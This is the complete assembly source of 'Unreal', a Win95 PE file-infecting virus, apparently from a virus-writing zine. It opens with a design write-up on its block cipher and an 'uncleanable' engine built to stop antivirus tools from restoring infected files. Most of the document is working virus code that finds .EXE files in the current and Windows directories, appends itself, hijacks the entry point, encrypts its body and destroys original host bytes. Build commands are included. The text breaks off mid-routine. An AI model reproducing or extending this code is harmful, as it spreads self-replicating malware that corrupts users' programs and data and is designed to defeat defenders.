Win95.Unreal Comment % -----------------------------+ UNREAL +-------------------- +----+ By Qozah +----+ -------+ Briefing +--------------------------------------------------------- Unreal is a 3349 bytes long PE infector. It works on win9x systems by appending it's code to the last file section and modifying the header to do so - the so called 29A technique. It uses multithreading to perform it's infection; as it should waste time that could be noticed by the user, launches it's routines as a thread and jumps in the main thread to the legit code. Of course, it's possible that the main thread is closed before the program is, but even if the virus was infecting at that time nothing would happen; as it uses file mapping, changes will be saved only when all is finished. Anyway I've heard this idea was used before, but I also thought it didn't I ? :P Unreal is encrypted by QBCE ( Qozah's Block Cyphering Engine ), which is a block cypher deeply analyzed forward. In a few words, it makes 24 rounds of encryption with random operations on the code, making it a good algorithm for crypting. Now, maybe the best idea inside this one is that it's virtually uncleanable by normal methods, due to an engine I called UVE. I strongly recommend at least understanding the idea on it. Past is gone, we can't relay on it making the same things. Technology has to strenghten, and new ideas to fuck up antivirus's work should be taken as a standard. This is a good example. Descriptions on QBCE and UVE follow. -------+ Qozah's Block Cyphering Engine +----------------------------------- Basic operations ---------------- The engine selects randomly a bunch of 24 rounds which will work in all the bytes of the encrypted file ( this value can be changed ) That values are 10 bits long, and look this way: +-+-+-+-+-+-+-+-+-+-+ | | | | | | | | | | | +-+-+-+-+-+-+-+-+-+-+ ^ ^ | | Select | | Argument The cipher works with three basic operations: ADD, SUB, XOR, ROR and ROL. So, the meanings of Select are: 00 ADD 01 SUB 10 XOR 11 ROR/ROL When there is a ROR or a ROL the cipher looks at the next bit; a 0 means ROR, and a 1 means ROL. These operations are obviously the ones to decrypt the code, as the encryption will set them up. The value stored in the Argument part which is 8 bits long except in ROL and ROR where it's just 7 bits: nothing to fear, as it won't be very interesting to make a more than 31 times rotation. The table where this is stored is 31 bytes long, which is enough to perform 24 operations ( 24*10 = 240 bits, 240/8 = 30 bytes ). The other byte is used when messing up two 32 bit blocks. Block ciphering --------------- The engine doesn't just crypt the code with that bunch of operations. Looking at the complete length ( which is stored in 16 bits with a maximum of 64Kb - keep an eye if you want to make it take bigger stuff ), it divides the code in 64-bit blocks this way: +---------+---------+---------+-----+ | | | | | +---------+---------+---------+-----+ 64-bits 64-bits 64-bits Last block ( undefined ) It will start cyphering 32-bit bunchs on each block, then operating among any of the 2 bunchs of each block, and finally modifying the last block. When the engine starts working, it divides the 64 bit block in two dwords ( 32-bit each ). Loads the first of them and makes 24 operations byte to byte, going later with the other block: Cyphering 32 bits ----------------- Let's suppose the dword is in EAX: The first byte ( in xL ) is encrypted with the first operation, then it's value is stored, the 32-bit register for it rotated right 8 bits, and the same operation that was applied to it is made to the next byte; the argument will be the encrypted byte. So the rotated byte in xL is processed the same way: In this example, the first operation will be "ADD AL,4Ch", and the second will be "ROR AL,5h" Original state First operation +4C +----+----+----+----+ +----+----+----+----+ | 1A | F0 | D1 | 43 | | 1A | F0 | D1 | 8F | +----+----+----+----+ +----+----+----+----+ ROL EAX,8d ( to work with next byte ) Second operation ROR 5h +----+----+----+----+ +----+----+----+----+ | 8F | 1A | F0 | D1 | | 8F | 1A | F0 | D1 | +----+----+----+----+ +----+----+----+----+ Then, it will make that second operation to the byte "1Ah" and so on, in it's 24 rounds, using of course 24 different operations ( so each byte is changed 24/4*2 = 12 times ) When two 32-bit bunchs are finished, they will be stored: for decryption, the engine works backwards: first AL is operated, then rotated left and operated again with the same op, the next one is done to the same AL, and so on. Block messing ------------- When two 32 bit blocks are done, the first one is re-encrypted by the second using up to four operations stored in a single byte that can be either ADD or XOR in different ways, taking the other block as argument. That byte is stored this way: 00 ADD ( the other block ) 01 ADD ( rotating the other block ) 10 XOR ( with the other block ) 11 XOR ( with the other block rotated ) So you can see the first bit tells us if we should rotate or not the block: when decrypting, this will be the first to execute instead of the bunch-cyphering doing first the rotation op ( which is done the last when encrypting ) Last block ---------- As you should have noticed, the last block won't probably be 64-bit long. So, this unfixed length block is handled in a different way. If we can take 32 bits from it, they will be done as a normal 32-bit block as before. The other block won't be even touched: it's highly recommended not to place anything important there or anything we should be recognized for: it's not any big waste, as the bigger number of bytes that can be outside blocks and non-encrypted is 3. So, place three fake bytes in the end of the encrypted code, and even fill 'em with shit: the engine will ignore them. -------+ Uncleanable Virus Engine +----------------------------------------- The UVE is an idea performed after making my article about polymorphism, and how it can always be detectable. Thinking on alphabets and languages, a poly engine cannot be undetected, but a file infected by a virus can be made uncleanable. That's the idea behind this engine, making it impossible to remove the virus from a file, at least by a normal procedure. You could make this idea bigger supporting many instructions, but that's not my point. Be it one instruction as in my engine, or X instructions, the important objective is accomplished. I've received some complaints because most files didn't begin by mov reg,imm32. But the main objective on uncleanable making is made: confussion, and not knowing if the instruction was or wasn't in the beggining of the file. I'll describe it in 5 points:
  • First of all, check if the first instruction of the legit code, the one on the entry point, is a mov reg,imm32.
  • In the beggining of the virus code, place that mov reg,imm32 if it exists, and another 6 mov reg,imm32 instructions which use random registers and random value assignations - not using esp or the one the legit instruction uses.
  • If there's no mov reg,imm32 instruction in the beggining of the legit code, the engine will anyway generate 7 random mov reg,imm32 instructions at the beggining of the virus.
  • The legit code instruction 'mov reg,imm32' is overwritten with 0s, and the old entry point is added 5.
  • When the .exe is run, these 7 instructions are executed, then registers are pushed onto the stack, and when returning to original host, they're replaced. So, an antivirus can't know if there was a 'mov reg,imm32' in the beggining of the original host code, or which one was it, so it can't replace it. -------+ Greetings +-------------------------------------------------------- Special greetings in this virus go to: Billy Belcebu -> For the idea on getting the Kernel32.DLL address: kewl. And thanks for letting me publish in your magazine. Sopinky -> For all yer support man Z0mbie -> Cool ideas, how do u have tha time ? Ya rule, thanx for help Benny -> Need to hear from yer projects -------+ Contact +---------------------------------------------------------- E-mail me at qozah@hax0r.com.ar -------+ Compilation +------------------------------------------------------ tasm32 -ml -m5 -q -zn unreal.asm tlink32 -v -Tpe -c -x -aa unreal,,, import32 pewrsec unreal.exe remove unreal.exe after the first infection when executing files in the same directory (tasm bug makes own infection a fuckup) ---------------------------?-------------?---------------------------------- % .486p .model flat NULL EQU 00000000h MB_ICONEXCLAMATION EQU 00000030h extrn ExitProcess: proc extrn GetModuleHandleA: proc extrn GetProcAddress: proc extrn MessageBoxA: proc .data db ? .code v_start label byte Start: db 35d dup (90h) ; Place set for 7 instructions. pusha call Get_Delta ; Get Delta Offset Get_Delta: mov esi,esp add dword ptr [esi],Real_start-Get_Delta push esi lodsd sub eax,offset Real_start mov ebp,eax pop dword ptr [Find_Win32_Data+ebp] push dword ptr [ebp+dif_point2] pop dword ptr [ebp+dif_point] call external_first_gen_ops external_address equ $-4 ret EncStart label byte ; Other Data number_bytes: dd 0 Search_File: db '*.EXE',0 GetMHandle: dd 0 Azathoth: db 'Unreal virus written by Qozah',0 db 'So how are you going to clean this one, AV guys ?',0 db 'It''s your turn, to tell the people that buy your ' db 'shit that you cannot disinfect this one without ' db 'risking their data ',0 ; API adresses API_Adresses: API_Create: dd 0 API_Close: dd 0 API_FindFirst: dd 0 API_FindNext: dd 0 API_CMap: dd 0 API_MapView: dd 0 API_Unmap: dd 0 API_Pointer: dd 0 API_SetEnd: dd 0 API_ExitThread: dd 0 API_CrThread: dd 0 API_GetWDir: dd 0 API_SetDir: dd 0 API_GetTime: dd 0 Real_start: ; Get all the APIs we'll need in the virus lea esi,[API_Reference+ebp] ; Initialize lea ebx,[API_Names+ebp] lea edi,[API_Adresses+ebp] mov ecx,API_Quantity Get_APIs: push ecx xor eax,eax lodsb add ebx,eax push ebx push dword ptr [GetMHandle+ebp] call GetProcAddress GPAddress equ $-4 stosd ; Save address pop ecx loop Get_APIs ; ; lpThreadAttributes;dwStackSize;lpStartADress,lPParameter, ;dwCreationFlags, lpThreadld lea eax,[THR+ebp] push eax push 0 0 lea eax,[FindFirstFile+ebp] push eax push 1000d 0 mov eax,dword ptr [API_CrThread+ebp] call eax jmp ReturnHost THR: dd 0 ;epflag: db 0 ;---------------------- ; FindFirst "Host.EXE" FindFirstFile: call Delta4thread Delta4thread: pop ebp sub ebp,offset Delta4thread mov byte ptr ds:[signal+ebp],01d FindFirstReal: lea eax,[Find_Win32_Data+ebp] push eax lea eax,[Search_File+ebp] push eax mov eax,dword ptr [API_FindFirst+ebp] call eax or eax,eax jz EndReturn push eax call Infect LoopFindNext: pop ebx ; Handle for finding push ebx call FindNext or eax,eax pop eax jz EndReturn push eax call Infect jmp LoopFindNext WinDir: db MAX_PATH dup (90h) signal: db 01h ; We finished, so we just get out ;######################################################################### ; We should now infect the windows directory ;######################################################################### EndReturn: ; We change directory ( now it's windows one ) push MAX_PATH lea eax,[WinDir+ebp] push eax mov eax,dword ptr [API_GetWDir+ebp] call eax lea eax,[WinDir+ebp] push eax mov eax,dword ptr [API_SetDir+ebp] call eax dec byte ptr ds:[signal+ebp] mov al,byte ptr ds:[signal+ebp] or al,al jz FindFirstReal ExitGame: push NULL mov eax,dword ptr [API_ExitThread+ebp] call eax ; FINISH FindNext: lea eax,[Find_Win32_Data+ebp] push eax push ebx mov eax,dword ptr [API_FindNext+ebp] call eax ret Infect: ; Open "Host.EXE" push 0 0 3 0 1 0C0000000h ; Read/Write access lea eax, [Find_Win32_Data+WFD_szFileName+ebp] push eax mov eax, dword ptr [API_Create+ebp] call eax mov ebx,eax inc eax jnz No_Prob1 ret No_Prob1: push ebx ;also for open_mapping ; CreateFileMapping mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] add edi,virus_size ; Host plus our size push 0 push edi push 0 push PAGE_READWRITE ; R/W push 0 ; Opt_sec_attr push ebx ; Handle mov eax, dword ptr [API_CMap+ebp] call eax push eax ; Save mapping handle or eax,eax jnz No_Prob2 ret badress: dd 0 No_Prob2: ; MapViewOfFile push edi push 0 push 0 push FILE_MAP_ALL_ACCESS push eax ; handle lea eax,dword ptr [API_MapView+ebp] call dword ptr [eax] or eax,eax jz Close_handles ; Does it (???) push eax mov edx,eax mov dword ptr ds:[badress+ebp],eax ; Base address = eax ;/////////////////////////////////////////////////////////////////////////// ; File mapped, infection begins ;/////////////////////////////////////////////////////////////////////////// movzx ebx, word ptr ds:[eax] add bh,bl add bh,-('M'+'Z') jnz unmap_close mov bx,word ptr ds:[eax+03ch] add edx,ebx ; PE header mov bx,word ptr ds:[edx] xor bx,0baafh ; Is PE header ? inc bx jnz unmap_close or word ptr ds:[0014h+edx],0 ; Optional header exists ? jz unmap_close mov eax,dword ptr ds:[04ch+edx] add eax,-'CHR0' jz unmap_close mov ax,word ptr ds:[016h+edx] ; File is executable and ax,0002h jz unmap_close ; So, we have a suitable file for infection ; Now then calculate beggining of last section mov esi,edx add esi,18h mov bx,word ptr ds:[edx+14h] ; SizeofOptional add esi,ebx ; Start of Section Table ; Now that esi = section table, we must search ;which is the last one: that is, looking at the biggest ;PointerToRawData field. push esi movzx ecx,word ptr ds:[edx+06h] ; number of sections mov edi,esi xor eax,eax push cx X_Sections: pushad mov ebx,esi mov eax,dword ptr ds:[edx+02Ch] ; Get the code RVA cmp dword ptr ds:[edi+0Ch],eax ; Are they the same ? jnz fuckya mov esi,dword ptr ds:[edx+028h] ; Substract Entry Point RVA to Code base sub esi,eax add esi,dword ptr ds:[ebx+014h] add esi,dword ptr ds:[badress+ebp] lea edi,Start+ebp push eax ebx ecx edx esi edi ebp call UVE pop ebp edi esi edx ecx ebx eax jc fuckya ; Overwrite old instructions with 0s mov dword ptr ds:[esi],0h mov byte ptr ds:[esi+4d],0h ; Activate flag: old ep has to be increased by 5 add dword ptr ds:[edx+028h],5d fuckya: popad cmp dword ptr [edi+14h],eax jz Not_Biggest mov ebx,ecx mov eax,dword ptr [edi+14h] Not_Biggest: add edi,28h loop X_Sections pop cx ; number of sections sub ecx,ebx ; calculate last one mov eax,028h push edx mul ecx pop edx add esi,eax ; We've got the last section in the section table just ;in esi ( while PE header is still in edx ) ; So first we set it to writable, code and executable ;( also, we discard it if it contains useless data, as ;.reloc has ) or dword ptr ds:[esi+24h],0A0000020h ; Now we save SizeOfRawData, add our size to the Virtual ;size, to put the real size of the section now. mov edi,dword ptr ds:[esi+10h] mov eax,virus_size xadd dword ptr ds:[esi+8h],eax ; VirtualSize push eax add eax,virus_size ; As eax holds the new virtual size, we have probably ;fucked the alignment. So we get it and divide the new ;VirtualSize by the alignment: the result of the new ;SizeOfRawData is just the quotient multiplied by the ;Alignment push edx mov ecx, dword ptr ds:[edx+03ch] xor edx,edx div ecx ; eax holds virtual size xor edx,edx inc eax mul ecx ; file align x number of bunchs mov ecx,eax mov dword ptr ds:[esi+10h],ecx pop edx ; Now the NewSizeOfRawData is calculated and stored. So ;what's now ? We add that place the VirtualAddress stored ;in offset 0ch... and so we get the new entry point for ;the virus: that VirtualAddress ( where it's loaded in ;memory ) plus the offset where the virus is at, makes ;our entry point. pop ebx ; This is VirtualSize - virus_size add ebx,dword ptr ds:[esi+0ch] ; section RVA mov eax,dword ptr ds:[edx+028h] ; Old entry point mov dword ptr ds:[dif_point2+ebp],ebx no_ep_mod: sub dword ptr ds:[dif_point2+ebp],eax mov dword ptr ds:[edx+28h],ebx ; Then, we calculate how much more data we have... ;and so we store it in SizeOfImage ( of course, it's ;this rounded one as it have to be aligned... sub ecx,edi add dword ptr ds:[edx+50h],ecx ; add to SizeOfImage mov dword ptr ds:[edx+04ch],'CHR0' ; EAX = OLD EP ; EBX = NEW EP ; Now to finish infection, the whole virus is copied ;to the file. pop ebx pop edi push edi add edi,dword ptr ds:[esi+14h] add edi,dword ptr ds:[esi+8h] sub edi,virus_size lea esi,[ebp+v_start] mov ecx,virus_size pushad call Infection_cryption popad mov edi,0bff70000h ; Close and go unmap_close: lea eax,dword ptr [API_Unmap+ebp] call dword ptr [eax] Close_handles: lea eax, [API_Close+ebp] call dword ptr [eax] add edi,-0bff70000h jz Cool_infected ; If we had any problems, we have to set the old ;file length so it doesn't grow pop ebx ; File handle push 0 0 push dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] push ebx lea eax, [API_Pointer+ebp] call dword ptr [eax] push ebx lea eax, [API_SetEnd+ebp] call dword ptr [eax] push ebx Cool_infected: lea eax, [API_Close+ebp] call dword ptr [eax] ret API_Reference: db 0d,12d,12d,15d,14d,19d,14d,16d,15d,13d,11d db 13d,21d,21d End_Reference label byte API_Quantity equ End_Reference-API_Reference ; API names API_Names: db 'CreateFileA',0 db 'CloseHandle',0 db 'FindFirstFileA',0 db 'FindNextFileA',0 db 'CreateFileMappingA',0 db 'MapViewOfFile',0 db 'UnmapViewOfFile',0 db 'SetFilePointer',0 db 'SetEndOfFile',0 db 'ExitThread',0 db 'CreateThread',0 db 'GetWindowsDirectoryA',0 db 'SetCurrentDirectoryA',0 db 'GetSystemTime',0 ; ; GETTING GETMODULEHANDLE AND GETPROCADDRESS ; Here we look at the GetModuleHandle and GetProcAddress addreses in ;memory so that we can use all the APIs in the virus. ; GetModuleHandleProcAddress: ; This method on getting the Kernel32.dll address was suggested by Billy ;Belcebu so I must give him some greetings ;). As a program is ;consecuence of a CreateProcess call, place in kernel from where it ;was called is still in the stack; so we substract from it again and ;again till we find the real header. mov edi,esp mov edi,[edi+02Ch] and edi,0FFFF0000h CheckAgain: sub edi,10000h mov ax,word ptr ds:[edi] add ax,-'ZM' jnz CheckAgain ; So we've got the kernel just right here. mov edx,dword ptr ds:[edi+03ch] add edx,edi mov ebx,dword ptr ds:[edx+78h] add ebx,edi mov esi,dword ptr ds:[ebx+20h] ; AddressOfNames add esi,edi ; + base address of K32 xor ecx,ecx Find_GPA: inc ecx lodsd ; Pointer to name mov edx,eax add edx,edi ; Name in edx cmp dword ptr ds:[edx],'PteG' jnz Find_GPA cmp dword ptr ds:[edx+5h],'dAco' jnz Find_GPA ProcFound: ; ecx handles where we found it. dec ecx rol ecx,1h mov esi,dword ptr ds:[ebx+24h] ; Address of ordinals add esi,edi add esi,ecx xor eax,eax lodsw ; EAX = ordinal numbah mov esi,dword ptr ds:[ebx+01ch] add esi,edi rol eax,2h ; *4h add esi,eax lodsd add eax,edi ; Adjust to base ; Absolute address here mov esi,ebp add esi,(offset GPAddress-offset v_start)+401004h sub eax,esi mov dword ptr ds:[GPAddress+ebp],eax ; Set addr mov dword ptr [GetMHandle+ebp],edi ; Set Base ; So we stored GetProcAddress place ret ;GPName: db 'GetProcAddress' returnway: dd 0 ; Internal text image_base: dd 0 ; Structures Find_Win32_Data: db SIZEOF_WIN32_FIND_DATA dup (90h) EncEnd label byte EncLength equ EncEnd-EncStart ;/*************************************************************************/ ; Here is where virus decryption is perfomed after the 1st generation. ;/*************************************************************************/ ReturnHost: push cs pop word ptr ds:[ebp+offset seg] mov eax,ebp add eax,offset v_start sub eax,12345678h dif_point equ $-4 push eax pop dword ptr ds:[ebp+offset dif_p3] popad db 0eah dif_p3: dd 0 seg: dw 0 dif_point2 dd - (offset First_out - offset v_start) Infection_cryption: pushf pushad lea esi,dword ptr [EncStart+ebp] mov ecx,EncLength call Encrypt popad popf rep movsb pushf pushad lea esi,dword ptr [EncStart+ebp] mov ecx,EncLength call Decrypt popad popf ret Decryption: pushf pushad lea esi,dword ptr [EncStart+ebp] mov ecx,EncLength call Decrypt popad popf call GetModuleHandleProcAddress ret ;============================================================================ ; UNCLEANABLE VIRUS ENGINE ;============================================================================ ; if CF is set, no mov ?s:reg32,imm32 was found, but it was ;generated anyway. ; UVE: Engine parameters: ; ; ESI: Offset where the first instruction is red from. ; EDI: Offset where the code has to be written to ; Instruction: db 0bbh,12h,00h,00h ; mov ebx, 12h db 0,0,0,0 ;=========================*******************=============================== ; INSTRUCTION CHECK ;=========================*******************=============================== GetFirstInstruction: push edi lea edi,Instruction+ebp GetInstructionTrue: lodsb ; First of all, check if there is a prefix cmp al,0b8h jb No_Shit ; This means no suitable instruction. So, cmp al,0c0h ;we just don't care but generate fake jae No_Shit ;instructions :) ; Go then to real instructions MovRegImm: dec esi mov ecx,5 rep movsb ; Copy to our instruction buffer pop edi mov ecx,5 ret No_Shit: ; Well, there's no instruction. So, we must generate a fake one ;to act as if it was legit in our code, then AVers mustn't know ;even if I supressed any. pop edi mov eax,7 ; Times to do it faker_nf: mov ecx,5 ; Length of instruction push eax call PrintFake pop eax dec eax jnz faker_nf stc pop ecx ; Adjust stack jmp Ended_Stuff ;=========================*******************=============================== ; MARK OPCODE ;=========================*******************=============================== ; ; MarkOpcode: with the first instruction at hand, this function determines ;which opcode is affected by it. After that, it stores a value in the ;correct marker. ; EDI ESI EBP ESP EBX EDX ECX EAX Marker: db 00010000b MarkOpcode: ; In case it's b8h-bfh Opcode_Prefix: lea esi,Instruction+ebp xor eax,eax lodsb sub al,0b8h ; add al,24d bts dword ptr ds:[Marker+ebp],eax ret ;=========================*******************=============================== ; RANDOM SEED ;=========================*******************=============================== ; GetRandomSeed/GetRandomNumber: Randomize functions. GetRandomSeed: lea eax,[TimeKindOf+ebp] push eax lea eax, [API_GetTime+ebp] call dword ptr ds:[eax] ret GetRandomNumber: push ecx mov ax,word ptr ds:[Miliseconds+ebp] xor ax,1264h RndVal equ $-2 mov cx,ax add ax,word ptr ds:[Second+ebp] xor ax,word ptr ds:[Miliseconds+ebp] rol ax,1 add cx,ax xor word ptr ds:[RndVal+ebp],ax ror ax,7d add ax,cx add ax,word ptr ds:[Miliseconds+ebp] rol ax,4d xor cx,ax sub ax,word ptr ds:[RndVal+ebp] ror ax,3d add word ptr ds:[RndVal+ebp],ax mov word ptr ds:[Miliseconds+ebp],ax add ax,cx rol ax,11d pop ecx ret ;=====================***************************=========================== ; PRINT LEGIT/FAKE ;=====================***************************=========================== secondary_buffer: db 5 dup(90h) PrintLegit: ; The legit instruction push ecx lea esi,Instruction+ebp rep movsb pop ecx ret PrintFake: ; A random one call GetRandomNumber and ax,0007h push eax mov dx,08d sub dx,ax ; Get reserved bt dword ptr ds:[Marker+ebp],edx pop edx jc PrintFake ; Is it reserved ? lea esi,secondary_buffer+1+ebp mov ecx,5 ; Now the fake instructions has to be printed. It's with the same ;value of the legit one, so we must change that value. push esi push ecx add esi,ebp ; Now base pointer adjusts mov ecx,12h stvalue: call GetRandomNumber add word ptr [esi], ax sub word ptr [esi+2], ax add ax,word ptr [esi+2] xor word ptr [esi],ax xor ax,word ptr [esi+2] xor word ptr [esi],ax add word ptr [esi+2],ax loop stvalue pop ecx pop esi ; This can be enough. Now let's just copy it to our buffer. dec ecx mov al,0b8h add al,dl stosb rep movsb ret ;=====================***************************=========================== ; GENERATE INSTRUCTIONS ;=====================***************************=========================== ; GenerateInstructions: this one will create instructions similar to the ;legit one, putting them into BufferInst. It will also put the legit one ;randomly among them. GenerateInstructions: ; ecx is equal the number of opcodes mov byte ptr ds:[Generated+ebp],0 mov esi,7 GenInstrAgain: call GetRandomNumber and ah,101b jz LegGenerate FakeIns: push ecx esi call PrintFake pop esi ecx jmp OneLess LegGenerate: cmp byte ptr ds:[Generated+ebp],1 jz FakeIns push esi call PrintLegit pop esi mov byte ptr ds:[Generated+ebp],1 OneLess: dec esi jnz GenInstrAgain mov al,byte ptr ds:[Generated+ebp] dec al jz FinishedGenerating sub edi,5 inc esi jmp LegGenerate FinishedGenerating: ret ;=====================***************************=========================== ; MAIN FUNCTION/DATA ;=====================***************************=========================== ; GenerateInstructions: this one will create instructions similar to the ;legit one, putting them into BufferInst. It will also put the legit one ;randomly among them. Generated: db 0 UVE: call GetRandomSeed call GetFirstInstruction call MarkOpcode push edi lea esi,Instruction+ebp lea edi,secondary_buffer+ebp movsd movsb pop edi call GenerateInstructions clc Ended_Stuff: ret TimeKindOf: dw 0,0,0,0,0 Minute dw 0 Second dw 0 Miliseconds dw 0 InstToRead: db 000h,12h,00h,00h ; mov ebx, 12h db 0,0,0,0 ; 64 en 04 ;===========================&&&&&&&&&&&&&&&&&&&============================== ; QOZAH'S BLOCK CYPHERING ENGINE ;===========================&&&&&&&&&&&&&&&&&&&============================== ;--------------------------------------------------------------------------- Create_Table: push ecx mov ecx,31d ; Create 31 bytes lea edi,OperationTable+ebp SixLoops: call GetRandomNumber stosb loop SixLoops pop ecx ret ;--------------------------------------------------------------------------- GetBlocksReminder: xor dx,dx mov ax,08d xchg ax,cx div cx ; CX=number of blocks, DX=Remainder mov cx,ax ret ;--------------------------------------------------------------------------- EncryptBlock: ; ESI is supposed begin crypt offset ;while EAX is the shit to crypt push ecx lea edi,OperationTable+ebp xor ebx,ebx ; lodsd mov ecx,24d MakeRound: mov dword ptr [EncryptOperation+ebp],90909090h push ecx mov ecx,8d ; Value to load ( 8 bits ) ; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR bt [edi],ebx jc XorOrRox inc ebx mov byte ptr [EncryptOperation+ebp],04h ; ADD AL,XX bt [edi],ebx jc SubInst add byte ptr [EncryptOperation+ebp],028h ; SUB AL,XX SubInst: jmp OpCodeStoredA XorOrRox: inc ebx bt [edi],ebx jnc DealWithXor RorOrXor: inc ebx bt [edi],ebx mov word ptr [EncryptOperation+ebp],0c0c0h ; ROL AL,XX jnc MakeRol ; IT'S MADE THE 'OTHER' WAY add byte ptr [EncryptOperation+ebp+1],08h ; ROL AL,XX MakeRol: dec cx ; Ecx equ value to load, that is 7 bits for you jmp OpCodeStoredA DealWithXor:mov byte ptr [EncryptOperation+ebp],034h ; XOR AL,XX OpCodeStoredA: ; Now it's time to obtain the cypher xor edx,edx ; DX=0, DL=value to make operation MakeValuesForOperation: inc ebx ; points to +2 or +3 in the beggining rol dl,1 bt [edi],ebx jnc NoOperand inc dl NoOperand: loop MakeValuesForOperation cmp byte ptr [EncryptOperation+1+ebp],90h jz Type1 mov byte ptr [EncryptOperation+2+ebp],dl jmp EncryptOperation Type1: mov byte ptr [EncryptOperation+1+ebp],dl db 0ebh,00h ; Avoid prefetch ; One instruction made ( out of 4 ) EncryptOperation: db 90,90,90,90 ; work in AL. One byte excess to fit dword ror eax,8d ; Next byte this way -> mov esi,dword ptr ds:[EncryptOperation+ebp] mov dword ptr ds:[SecondCryptA+ebp],esi SecondCryptA: db 90,90,90,90 ; work in AL. One byte excess to fit dword pop ecx dec ecx jz FinishedCryptBlock jmp MakeRound ; 24 times ( 24 encryptions in 4 blocks ) FinishedCryptBlock: ror eax,8d ; Adjust last one. pop ecx ret ;--------------------------------------------------------------------------- Get_some_for_offset: bt [edi],ebx inc ebx jnc DontAddDl inc dl DontAddDl: rol dl,1 loop Get_some_for_offset ret ;--------------------------------------------------------------------------- GetDl: push ebx pop esi ; First of all, we get seven bits from the beggining of the ;table, that is, the offset relative to the table in bits ;to get our value. xor edx,edx lea edi,OperationTable+ebp xor ebx,ebx mov ecx,7d call Get_some_for_offset mov ebx,edx ; Now we have the desired offset so that we just get another ;value ( this time 5 bits ), which we will always use to ;operate. xor edx,edx mov ecx,5d call Get_some_for_offset ret ;--------------------------------------------------------------------------- MessTwoBlocks: push ecx esi call GetDl ; This value will be from now stored in edl then. Now we ;start checking the table. mov ebx,0d8h ; beggining of that last 8 bits, ;as cfh is the beginning of the ;last operation mov ecx,04h Test_Rotate: push ecx bt [edi],ebx jnc We_Dont_Rotate ; If we do rotate, we do it now, with dl value mov byte ptr [DlHere+ebp],dl db 0ebh,00h db 0c1h,0c0h DlHere: db ? ; Rotated or not, the second bunch is still in EAX, while ;the first one is in ESI. So, we test the second byte. We_Dont_Rotate: inc ebx mov byte ptr [OperationBlock+ebp+2],03h ; add esi, eax bt [edi],ebx jnc OperationBlock mov byte ptr [OperationBlock+ebp+2],33h ; xor esi, eax OperationBlock: db 0ebh,00h ; Prefetch db 033h,0f0h pop ecx inc ebx loop Test_Rotate mov ebx,esi pop esi ecx ret ;--------------------------------------------------------------------------- Encrypt64KbBlocks: lodsd push esi call EncryptBlock pop esi mov ebx,eax lodsd push esi ebx call EncryptBlock ; So we have them in ebx and eax pop ebx esi call MessTwoBlocks ret ;--------------------------------------------------------------------------- StoreOneBlock: xchg eax,ebx mov edi,esi sub edi,8d stosd mov eax,ebx ; We store them two stosd ret ;--------------------------------------------------------------------------- Encrypt_stuff: call GetBlocksReminder ; DX is the last one length push dx CheckLasting: ; DX = REMAINDER, CX = NUMBER O BLOCKS or cx,cx ; No more ? jz Go_last_block call Encrypt64KbBlocks call StoreOneBlock loop CheckLasting Go_last_block: pop dx cmp dx,4d ; Last block shit jc Finished_crypting push esi lodsd call EncryptBlock pop edi stosd Finished_crypting: ret ; Once we have the length, we can start ;--------------------------------------------------------------------------- Encrypt: call Create_Table call Encrypt_stuff ret ;--------------------------------------------------------------------------- DeEncryptBlock: rol eax,8d push ecx lea edi,OperationTable+ebp mov ebx,0cfh+12h ; 10 bits * 24 operations ;something to adjust mov ecx,24d MakeRound2: push ecx sub ebx,12h ; The above adjustment with this ;allows us to do the encryption ;algorythm backwards ; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR mov dword ptr [EncryptOperation2+ebp],90909090h mov ecx,8d ; Value to load ( 8 bits ) bt [edi],ebx jc XorOrRox2 inc ebx mov byte ptr [EncryptOperation2+ebp],04h bt [edi],ebx jnc SubInst2 add byte ptr [EncryptOperation2+ebp],028h SubInst2: jmp OpCodeStoredA2 XorOrRox2: inc ebx bt [edi],ebx jnc DealWithXor2 RorOrXor2: inc ebx bt [edi],ebx mov word ptr [EncryptOperation2+ebp],0c0c0h jc MakeRol2 ; IT'S MADE THE 'OTHER' WAY add byte ptr [EncryptOperation2+ebp+1],08h MakeRol2: dec ecx ; Ecx equ value to load, that is 7 bits for you jmp OpCodeStoredA2 DealWithXor2: mov byte ptr [EncryptOperation2+ebp],034h OpCodeStoredA2: ; Now it's time to obtain the cypher xor edx,edx MakeValuesForOperation2: inc ebx ; points to +2 or +3 in the beggining rol dl,1 bt [edi],ebx jnc NoOperand2 inc dl NoOperand2: loop MakeValuesForOperation2 cmp byte ptr [EncryptOperation2+1+ebp],90h jz Type1B mov byte ptr [EncryptOperation2+2+ebp],dl jmp EncryptOperation2 ; just in case (testing) Type1B: mov byte ptr [EncryptOperation2+1+ebp],dl db 0ebh,00h ; Prefetch ; One instruction made ( out of 4 ) EncryptOperation2: db 90,90,90,90 ; work in AL. One byte excess to fit dword rol eax,8d mov esi,dword ptr ds:[EncryptOperation2+ebp] mov dword ptr ds:[SecondCryptB+ebp],esi SecondCryptB: db 90,90,90,90 ; work in AL. One byte excess to fit dword pop ecx dec ecx jz FinishedCryptBlock2 jmp MakeRound2 FinishedCryptBlock2: pop ecx ret ;--------------------------------------------------------------------------- DeMessTwoBlocks: push ecx esi ; First of all, we get seven bits from the beggining of the ;table, that is, the offset relative to the table in bits ;to get our value. call GetDl mov byte ptr [@DlHere+ebp],dl mov ebx,0e0h ; beggining of that last 8 bits mov ecx,04h @Test_Rotate: push ecx dec ebx mov byte ptr [@OperationBlock+2+ebp],2bh ; sub esi, eax bt [edi],ebx jnc @OperationBlock mov byte ptr [@OperationBlock+2+ebp],33h ; xor esi, eax @OperationBlock: db 0ebh,00h db 033h,0f0h dec ebx bt [edi],ebx jnc @We_Dont_Rotate ; If we do rotate, we do it now, with dl value db 0c1h,0c8h @DlHere: db ? ; Rotated or not, the second bunch is still in EAX, while ;the first one is in ESI. So, we test the second byte. @We_Dont_Rotate: pop ecx loop @Test_Rotate mov ebx,esi pop esi ecx ret ;--------------------------------------------------------------------------- DeEncrypt64KbBlocks: ; This function is performed in reverse order than ;"Encrypt64KbBlocks", first fixing the block mixing ;and later decrypting each block. lodsd mov ebx,eax lodsd call DeMessTwoBlocks xchg eax,ebx push ebx esi call DeEncryptBlock pop esi ebx xchg eax,ebx push ebx esi call DeEncryptBlock pop esi ebx ret ;--------------------------------------------------------------------------- DeEncrypt_stuff: call GetBlocksReminder ; DX is the last one length push dx CheckLasting2: ; DX = REMAINDER, CX = NUMBER O BLOCKS or cx,cx ; No more ? jz 